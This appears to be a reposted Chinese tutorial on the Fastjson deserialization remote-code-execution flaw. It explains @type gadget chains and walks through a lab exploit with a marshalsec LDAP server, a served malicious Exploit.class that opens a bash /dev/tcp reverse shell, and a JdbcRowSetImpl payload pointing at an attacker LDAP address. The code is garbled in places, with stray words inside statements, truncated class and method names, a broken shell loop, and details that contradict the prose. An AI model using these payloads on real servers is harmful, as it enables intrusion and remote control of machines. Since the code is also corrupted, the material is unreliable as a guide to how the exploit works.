Fastjson反序列化漏洞利⽤原理和POC
0x01 前⾔
FastJson是开源JSON解析库,它可以解析JSON格式的字符串,⽀持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。Fastjson应⽤范围⾮常⼴,在github上star数超过22k。2017年3⽉15⽇,fastjson官⽅主动爆出fastjson在1.2.24及之前版本存在远程代码执⾏⾼危安全漏洞。攻击者可以通过此漏洞远程执⾏恶意代码来⼊侵服务器。2020年6⽉1⽇ fastjson爆发新的反序列化远程代码执⾏漏洞,fastjson 1.2.68及以前版本存在⿊客利⽤漏洞,可绕过autoType限制,直接远程执⾏任意命令攻击服务器,风险极⼤。本⽂简要介绍Fastjson反序列化漏洞利⽤原理并复现被利⽤过程,以使得技术⼈员在⼯作中对Fastjson反序列化漏洞有更进⼀步的认识,提⾼重视程度。
0x02 Fastjson的反序列化漏洞利⽤原理
漏洞被利⽤本质到⼀条有效的攻击链,攻击链的末端就是有代码执⾏能⼒的类,来达到我们想做的事情,⼀般都是⽤来RCE(远程命令执⾏)。构造⼀个触发器,也就是通过什么⽅式来让攻击链执⾏你想要的代码。触发器可以通过很多⽅式,⽐如静态代码块、构造⽅法等等。
Fastjson反序列化漏洞被利⽤的原因,可以归结为两⽅⾯:
1. Fastjson提供了反序列化功能,允许⽤户在输⼊JSON串时通过“@type”键对应的value指定任意反序列化类名;
2. Fastjson⾃定义的反序列化机制会使⽤反射⽣成上述指定类的实例化对象,并⾃动调⽤该对象的setter⽅法及部分getter⽅法。
攻击者可以构造恶意请求,使⽬标应⽤的代码执⾏流程进⼊这部分特定setter或getter⽅法,若上述⽅法中有可被恶意利⽤的逻辑(也就是通常所指的“Gadget”),则会造成⼀些严重的安全问题。官⽅采⽤了⿊名单⽅式对反序列化类名校验,但随着时间的推移及⾃动化漏洞挖掘能⼒的提升。新Gadget会不断涌现,⿊名单这种治标不治本的⽅式只会导致不断被绕过,从⽽对使⽤该组件的⽤户带来不断升级版本的困扰。
对编程⼈员⽽⾔,在使⽤Fastjson反序列化时会使⽤到Fastjson所提供的⼏个静态⽅法:
parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
⽆论使⽤上述哪种⽅式处理JSON字符串,都会有机会调⽤⽬标类中符合要求的Getter⽅法或者Setter⽅法,如果⼀个类中的Getter或者Setter⽅法满⾜调⽤条件并且存在可利⽤点,那么这个攻击链就产⽣了。
为了理解利⽤过程,在本地环境演⽰Fastjson反序列化漏洞POC利⽤过程,为显⽰效果直观,直接弹出计算器。
import java.io.IOException;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
class Poc {
private String cmd;
public Poc(){
System.out.println("Poc() is called");
}
public String getCmd() {
System.out.println("getCmd() is called");
return cmd;
}
public void setCmd(String cmd) throws IOException {
System.out.println("setCmd is called");
}
}
public class TestPoc {
public static void main(String[] args) {
String Poc = "{\"@type\":\"st.Poc\",\"cmd\":\"calc\"}";
JSONObject b = JSON.parseObject(Poc);
}
}
Fastjson允许⽤户在输⼊JSON串时通过“@type”键对应的value指定任意反序列化类名,为了让服务端按照指定类型反序列化,所以这⾥再引⼊⼀个@type。通过type指定了反序列化的类型,在给parseObject传参时,@type指定了当前字符串按照Poc类来解析。在Poc类中写了⼀个⽆参构造⽅法、getter和setter⽅法。根据结果显⽰,在反序列化时同时调⽤了⽆参构造函数以及getter和setter⽅法,setter ⽅法中中通过exec执⾏了外部命令计算器。
0x03 Fastjson的反序列化漏洞利⽤
基于上⽂在本地环境演⽰利⽤基本原理,本节基于JDNI注⼊的⽅式复现Fastjson反序列化远程代码漏洞利⽤过程。流程⽰意图:
其中主机A(IP:192.168.19.130)为靶机(被攻击服务器),提供http服务,存在Fastjson反序列化漏洞。主机
(IP:192.168.19.128)为攻击者服务器,部署LDAP服务和HTTP服务,HTTP可获得恶意Java类。为了便于描述,分别称为主机B和主
机C。
主机B的LDAP服务利⽤marshalsec⼯具部署,命令为:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 192.168.19.128:8083/#Exploit 9999 Listening on 0.0.0.0:9999
主机C基于python搭建简单HTTP服务,根⽬录可访问到恶意Java类编译后的.class⽂件Exploit.class
python -m SimpleHTTPServer 8083
Exploit类执⾏后可获得反弹shell,Exploit类内容如下:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
fastjson怎么用Process p = Runtime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.19.130/1888;cat <&5 | while read line;do $line 2>&5 >&5; do        InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = adLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
漏洞利⽤执⾏流程如下:
1. ⿊客使⽤payload攻击主机A(该payload需要指定rmi/ldap地址)
{
"name": {
"@type": "java.lang.Class",
"val": "wset.JdbcRowSetImpl"
},
"x": {
"@type": "wset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.19.128:9999/Exploit",
"autoCommit": true
}
}
2. 主机A引发反序列化漏洞,进⾏ldap远程⽅法调⽤,去连接主机B的9999端⼝。
3. 主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执⾏主机C的恶意java类。
4. 主机A执⾏恶意Java类,主机B获得反弹shell,控制主机A。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。